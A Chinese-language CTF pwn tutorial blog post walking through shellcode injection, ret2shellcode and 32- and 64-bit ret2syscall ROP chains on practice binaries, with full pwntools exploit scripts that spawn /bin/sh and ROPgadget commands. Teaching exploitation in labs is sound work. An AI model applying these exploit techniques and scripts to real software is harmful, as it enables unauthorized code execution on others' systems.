Pwn入门系列(二)

shellcode

shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。通常情况下,shellcode 需要我们自行编写,即此时我们需要自行向内存中填充一些可执行的代码

shellcode例题

checksec检查程序的保护机制,大部分保护都没开,这里我们主要关注NX保护

保护机制的一些介绍:

  • RELRO(RELocation Read-Only):RELRO 是一种技术,用于在执行文件时将一部分重定位信息标记为只读,以防止恶意利用。RELRO 提供了一种机制,确保某些重定位表项在程序运行时不可修改,从而增加了程序的安全性。

  • Stack Protection(栈保护):栈保护技术旨在防止缓冲区溢出攻击。其中包括一些技术,如堆栈保护(Stack Smashing Protection,SSP)和堆栈随机化(Stack Randomization),用于检测和阻止对函数返回地址等关键数据的修改。

  • NX(No eXecute):NX 是一种硬件级别的技术,用于防止数据区域被当作指令区域执行,从而有效防止针对缓冲区溢出的攻击,如 shellcode 注入。

  • PIE(Position Independent Executable):PIE 是一种技术,使得程序的加载地址在每次执行时都是随机的,这样可以有效防止攻击者利用已知的内存地址信息来执行攻击。

接下来我们在ida中打开程序,当我们按下F5之后并没有跳转到伪代码界面而是给出了警告

这个警告实际上由于程序出现了一些ida无法解析的指令,即call rdx这条指令

下面介绍如何解决这个问题

在菜单栏点击Edit,接着找到Patch program,然后选择Assemble…

这时会跳出一个窗口,我们需要修改Assembly这一栏

我们将rdx改为rcx,然后按下回车,可以发现此时call rdx已经变成call rcx

之后我们再按下F5就会跳转到伪代码界面

我们可以看到,main函数的逻辑很清晰。我们发现read函数读入了0x100字节,而字符数组buf距离rbp却是0x110,这显然不能造成溢出。我们还注意到了v3(0LL, buf, buf)这条语句,这条语句实际是通过一个指针来调用了一个函数,实现的效果是允许执行任意用户输入的代码。那么如果我们将汇编代码写到buf中,然后利用这个指针就可以获取到控制权

接下来我们使用gdb进行调试

直接输入start

接着输入vmmap来查看程序内存布局,可以看到[stack]区域有rwx权限。

我们可以直接利用pwntools库中的shelcraft.sh()直接生成汇编代码

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.arch = "amd64"

p = process("./shellcode")

# attach(p)
payload = asm(shellcraft.sh())
p.sendline(payload)

p.interactive()

也可以手写汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.arch = "amd64"

p = process("./shellcode")

# attach(p)
#execve('/bin/sh', 0, 0)
shellcode = asm('''
mov rbx, 0x68732f6e69622f #/bin/sh的十六进制:2f 62 69 6e 2f 73 68
push rbx
mov rdi, rsp #将/bin/sh赋值给rdi
xor rsi, rsi #将rsi置0相当于mov rsi, 0
xor rdx, rdx #将rdx置0相当于mov rdx, 0
mov rax, 59 #将59赋值给rax
syscall #执行系统调用
''')

p.sendline(shellcode)

p.interactive()

执行脚本,成功获取控制

gdb调试

我们通过调试来看一下脚本的执行流程,选用第二个脚本,然后加入attach调试语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.arch = "amd64"

p = process("./shellcode")

attach(p)
#execve('/bin/sh', 0, 0)
shellcode = asm('''
mov rbx, 0x68732f6e69622f #/bin/sh的十六进制:2f 62 69 6e 2f 73 68
push rbx
mov rdi, rsp #将/bin/sh赋值给rdi
xor rsi, rsi #将rsi置0相当于mov rsi, 0
xor rdx, rdx #将rdx置0相当于mov rdx, 0
mov rax, 59 #将59赋值给rax
syscall #执行系统调用
''')

p.sendline(shellcode)

p.interactive()

直接运行脚本,然后在调试窗口,输入ni

同时我们注意观察汇编代码部分

接着我们输入回车,直至程序运行到call rdx

这时我们输入si

我们再查看汇编代码部分,可以看到程序开始执行我们编写的汇编代码

ret2shellcode

ret2shellcode是指攻击者需要自己将调用shell的机器码(也称shellcode)注入至内存中,随后利用栈溢出覆写return_address,进而使程序跳转至shellcode所在内存。

要实现上述目的,就必须在内存中找到一个可写(这允许我们注入shellcode)且可执行(这允许我们执行shellcode)的段,并且需要知道如何修改这些段的内容。不同的程序及操作系统采取的保护措施不尽相同,因此如何注入shellcode也应当灵活选择。

ret2shellcode例题

checksec检查程序

ida打开,可以看到字符数组s距离rbp为0x100字节,而read可以读入0x110字节,因此存在栈溢出。我们还注意到strcpy函数将字符数组复制到了buff中

我们来查看一下buff,双击buff之后会跳转到汇编代码界面,可以看到buff是位于bss段

我们回到main函数,注意到main函数中还调用了mprotect函数。

在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。

函数原型如下:

1
2
3
4
#include <unistd.h>   
#include <sys/mmap.h>
//mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
int mprotect(const void *start, size_t len, int prot);

我们双击stdout查看,可以看到其位于bss段。那么显而易见的,mprotect函数将bss开始的0x1000大小的的区域设置为可读可写可执行(7对应的二进制是111,分别对应读、写和执行权限)

综上所诉,我们可以将shellcode写到字符数组s中,然后将返回地址修改为buff,这样程序会先将字符数组s复制到buff中,此时buff中就有了shellcode,接着程序执行到返回地址时会返回到buff中,然后程序就会执行buff中的shellcode

栈布局图如下

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

p = process('./ret2shellcode')

buff = 0x4040A0

attach(p)
shellcode = asm(shellcraft.sh())
shellcode = shellcode.ljust(0x108, b'a') + p64(buff)
p.send(shellcode)

p.interactive()

执行exp

ret2syscall

ret2syscall,即控制程序执行系统调用,获取 shell。

系统调用是指由操作系统提供的供所有系统调用的程序接口集合,用户程序通常只在用户态下运行,当用户程序想要调用只能在内核态运行的子程序时,操作系统需要提供访问这些内核态运行的程序的接口,这些接口的集合就叫做系统调用,简要的说,系统调用是内核向用户进程提供服务的唯一方法。

32 位例题

checksec 检查程序保护机制,程序开启了 NX 保护

此时,我们还可以用 file 命令来查看文件的其他信息;可以看到,这是一个静态链接的程序

静态链接是由链接器在链接时将库的内容加入到可执行程序中的做法。

链接器是一个独立程序,将一个或多个库或目标文件(先前由编译器或汇编器生成)链接到一块生成可执行程序。

简单的讲,静态链接就是在编译时将所有需要的模块(包括库文件)直接编译进可执行文件中。

ida 打开,可以看到在函数这一栏有很多函数,这就是静态链接程序的特征

我们进入 main 函数,可以看到有 gets 函数,存在栈溢出。当我们再查看其他函数时我们并没有其他收获,即程序中不存在 system(‘/bin/sh’),也无法进行 shellcode 利用。

我们想要利用这个程序中的漏洞来获取到 shell,就需要利用到系统调用,那么我们先简单了解一下 32 位程序中的一些系统调用知识。

Linux 在x86上的系统调用通过 int 80h 实现,用系统调用号来区分入口函数。应用程序调用系统调用的过程是:

  1. 把系统调用的编号存入 EAX;

  2. 把函数参数存入其它通用寄存器;

  3. 触发 0x80 号中断(int 0x80)。

那么我们可以系统调用 execve 函数来获取 shell,execve 函数原型如下:

1
2
#include <unistd.h>
int execve(const char *filename, char *const argv[], char *const envp[]);

我们发现 execve 函数有三个参数,因此我们需要三个寄存器来使得我们能够控制三个参数的值,从而实现以下系统调用

1
execve("/bin/sh",0,0)

由于我们需要将系统调用号存入 eax 中,所以我们总共需要四个寄存器,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb

  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,或者 sh 的地址也可以。

  • 第二个参数,即 ecx 应该为 0

  • 第三个参数,即 edx 应该为 0

而我们如何控制这些寄存器的值呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

首先,我们来寻找控制 eax 的 gadgets,通过以下命令我们找到一些 eax 的 gadgets,我们选用第二条,即0x080bb196

1
ROPgadget --binary pwn32 --only 'pop|ret' | grep eax

接着是 ebx 和 ecx,通过以下命令我们找到了0x080481c9 : pop ebx ; ret0x0806eb91 : pop ecx ; pop ebx ; ret,这里我们选用后者,这个 gadget 可以控制 ecx 和 ebx

1
ROPgadget --binary pwn32 --only 'pop|ret' | grep ebx

还有 edx,这里我们选用0x0806eb6a

1
ROPgadget --binary pwn32 --only 'pop|ret' | grep edx

此外,我们需要获得 /bin/sh 字符串对应的地址,即0x080be408

1
ROPgadget --binary pwn32 --string '/bin/sh'

最后是 int 0x80 的地址,即0x08049421

1
ROPgadget --binary pwn32 --only 'int'

所有的 gadget 找完之后我们写 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug')

p = process('./pwn32')

binsh = 0x080be408
pop_eax = 0x080bb196
pop_ecx_ebx = 0x0806eb91#pop ecx ; pop ebx ; ret
pop_edx = 0x0806eb6a
int_0x80 = 0x08049421

#attach(p, 'b *0x8048EA1')
#execve('/bin/sh', 0, 0)
payload = b'a'*0x70
payload += p32(pop_ecx_ebx) + p32(0) + p32(binsh)
payload += p32(pop_edx) + p32(0)
payload += p32(pop_eax) + p32(0xb)
payload += p32(int_0x80)
p.sendline(payload)

p.interactive()

栈布局

我们在 exp 中加入语句 attach(p, ‘b *0x8048EA1’),即将断点下在0x8048EA1处,这个地址是 main 函数的结尾,调试脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug')

p = process('./pwn32')

binsh = 0x080be408
pop_eax = 0x080bb196
pop_ecx_ebx = 0x0806eb91#pop ecx ; pop ebx ; ret
pop_edx = 0x0806eb6a
int_0x80 = 0x08049421

attach(p, 'b *0x8048EA1')#调试语句
#execve('/bin/sh', 0, 0)
payload = b'a'*0x70
payload += p32(pop_ecx_ebx) + p32(0) + p32(binsh)
payload += p32(pop_edx) + p32(0)
payload += p32(pop_eax) + p32(0xb)
payload += p32(int_0x80)
p.sendline(payload)

p.interactive()

运行脚本开始调试,输入 c 继续运行

我们查看汇编窗口,可以看到是我们写入的内容

然后输入 ni,查看汇编窗口,此时 pop ecx 是 eip 即将要执行的汇编代码;查看栈区,此时栈顶 esp 的位置是 0。那么当程序执行了 pop ecx 之后,会将栈顶 esp 位置的 0 赋值给 ecx

接着我们输入 ni 或者回车,查看寄存器窗口可以看到 eax 变为 0。

通过以上的调试,我们就了解了控制寄存器的原理。

我们再输入 ni 或者或者回车,程序运行到 ret 处,此时第一段 gadgets 将要执行完成,就需要返回,此时返回地址是第二段 gadgets,那么程序就会接着执行第二段 gadgets。这就是通过 gadgets 的 ret 来连续执行 gadgets 的原理

64 位例题

checksec 检查程序保护机制

同样使用 file 命令查看,依然是静态链接

ida 打开,查看 main 函数,发现有 gets 函数,存在栈溢出

由于是静态链接的程序,且没有 system(‘/bin/sh’)调用,我们同样考虑使用 ret2syscall 的解法。我们还是需要实现以下系统调用

1
execve("/bin/sh",0,0)

由于 64 位程序与 32 位程序在保存参数的寄存器有所区别,具体为前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。而且在 64 位中,使用的是 syscall 指令来进行系统调用

所以我们需要使得

  • 系统调用号,即 rax 应该为 0x3b

  • 第一个参数,即 rdi 应该指向 /bin/sh 的地址,或者 sh 的地址也可以。

  • 第二个参数,即 rsi 应该为 0

  • 第三个参数,即 rdx 应该为 0

首先寻找 rax,这里选用 0x4bc808

1
ROPgadget --binary pwn64 --only 'pop|ret' | grep rax

接着寻找 rdi,这里选用 0x401626

1
ROPgadget --binary pwn64 --only 'pop|ret' | grep rdi

然后是 rsi,这里选用 0x401747

1
ROPgadget --binary pwn64 --only 'pop|ret' | grep rsi

再然后是 rdx,这里选用 0x442b66

1
ROPgadget --binary pwn64 --only 'pop|ret' | grep rdx

此外,我们需要获得 /bin/sh 字符串对应的地址,即 0x4a1384

1
ROPgadget --binary pwn64 --string '/bin/sh'

最后是 syscall 的地址,即 0x4003da

1
ROPgadget --binary pwn64 --only 'syscall'

编写 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

p = process('./pwn64')

binsh = 0x4a1384
pop_rax = 0x4bc808
pop_rdi = 0x401626
pop_rsi = 0x401747
pop_rdx = 0x442b66
syscall = 0x4003da

#execve('/bin/sh', 0, 0)
payload = b'a'*0x78
payload += p64(pop_rdi) + p64(binsh)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(syscall)
p.sendline(payload)

p.interactive()

总结

实际上 ret2syscall 使用的攻击手法是 返回导向编程 (Return Oriented Programming),其主要思想是在 栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

gadgets 通常是以 ret 结尾的指令序列,通过这样的指令序列,我们可以多次劫持程序控制流,从而运行特定的指令序列,以完成攻击的目的。

返回导向编程这一名称的由来是因为其核心在于利用了指令集中的 ret 指令,从而改变了指令流的执行顺序,并通过数条 gadget “执行” 了一个新的程序。

使用 ROP 攻击一般得满足如下条件:

  • 程序漏洞允许我们劫持控制流,并控制后续的返回地址。

  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

作为一项基本的攻击手段,ROP 攻击并不局限于栈溢出漏洞,也被广泛应用在堆溢出等各类漏洞的利用当中。

32 位系统调用号

https://syscalls32.paolostivanin.com/

64 位系统调用号

https://shell-storm.org/shellcode/files/linux-4.7-syscalls-x64.html


Pwn入门系列(二)
https://tsuk1ctf.github.io/post/10828.html
作者
Tsuk1
发布于
2024年12月26日
许可协议